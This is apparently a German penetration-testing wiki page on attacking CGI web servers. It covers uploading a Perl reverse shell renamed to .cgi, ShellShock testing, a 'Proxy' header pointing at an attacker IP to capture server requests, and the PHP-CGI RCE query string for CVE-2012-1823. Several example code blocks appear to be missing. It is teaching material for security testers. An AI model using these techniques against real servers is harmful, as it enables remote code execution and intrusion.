CGI
Informationen
Die CGI-Skripte sind Perl-Skripte, also, wenn du einen Server kompromittiert hast, der .cgi Skripte ausführen kann, kannst du eine Perl-Reverse-Shell hochladen (/usr/share/webshells/perl/perl-reverse-shell.pl
), die Erweiterung von .pl in .cgi ändern, Ausführungsberechtigungen geben (chmod +x
) und die Reverse-Shell vom Webbrowser aus aufrufen, um sie auszuführen. Um nach CGI-Schwachstellen zu suchen, wird empfohlen, nikto -C all
(und alle Plugins) zu verwenden.
ShellShock
ShellShock ist eine Schwachstelle, die die weit verbreitete Bash-Befehlszeilen-Shell in Unix-basierten Betriebssystemen betrifft. Sie zielt auf die Fähigkeit von Bash ab, von Anwendungen übergebene Befehle auszuführen. Die Schwachstelle liegt in der Manipulation von Umgebungsvariablen, die dynamische benannte Werte sind, die beeinflussen, wie Prozesse auf einem Computer ausgeführt werden. Angreifer können dies ausnutzen, indem sie schadhafter Code an Umgebungsvariablen anhängen, der beim Empfang der Variablen ausgeführt wird. Dies ermöglicht es Angreifern, das System potenziell zu kompromittieren.
Durch das Ausnutzen dieser Schwachstelle könnte die Seite einen Fehler ausgeben.
Du könntest diese Schwachstelle finden, indem du bemerkst, dass eine alte Apache-Version und cgi_mod (mit cgi-Ordner) verwendet wird oder indem du nikto verwendest.
Test
Die meisten Tests basieren darauf, etwas auszugeben und zu erwarten, dass dieser String in der Webantwort zurückgegeben wird. Wenn du denkst, dass eine Seite anfällig sein könnte, suche nach allen CGI-Seiten und teste sie.
Nmap
Curl (reflektiert, blind und out-of-band)
Exploit
Proxy (MitM zu Webserver-Anfragen)
CGI erstellt eine Umgebungsvariable für jeden Header in der HTTP-Anfrage. Zum Beispiel: "host:web.com" wird als "HTTP_HOST"="web.com" erstellt.
Da die HTTP_PROXY-Variable vom Webserver verwendet werden könnte, versuchen Sie, einen Header zu senden, der enthält: "Proxy: <IP_angreifer>:<PORT>" und wenn der Server während der Sitzung eine Anfrage ausführt, können Sie jede vom Server getätigte Anfrage erfassen.
Alte PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
Grundsätzlich, wenn cgi aktiv ist und php "alt" (<5.3.12 / < 5.4.2) ist, können Sie Code ausführen. Um diese Schwachstelle auszunutzen, müssen Sie auf eine PHP-Datei des Webservers zugreifen, ohne Parameter zu senden (insbesondere ohne das Zeichen "="). Um diese Schwachstelle zu testen, könnten Sie beispielsweise auf /index.php?-s
zugreifen (beachten Sie das -s
) und der Quellcode der Anwendung wird in der Antwort angezeigt.
Um RCE zu erhalten, können Sie diese spezielle Abfrage senden: /?-d allow_url_include=1 -d auto_prepend_file=php://input
und den PHP-Code, der im Body der Anfrage ausgeführt werden soll. Beispiel:
Weitere Informationen über die Schwachstelle und mögliche Exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Beispiel.
Last updated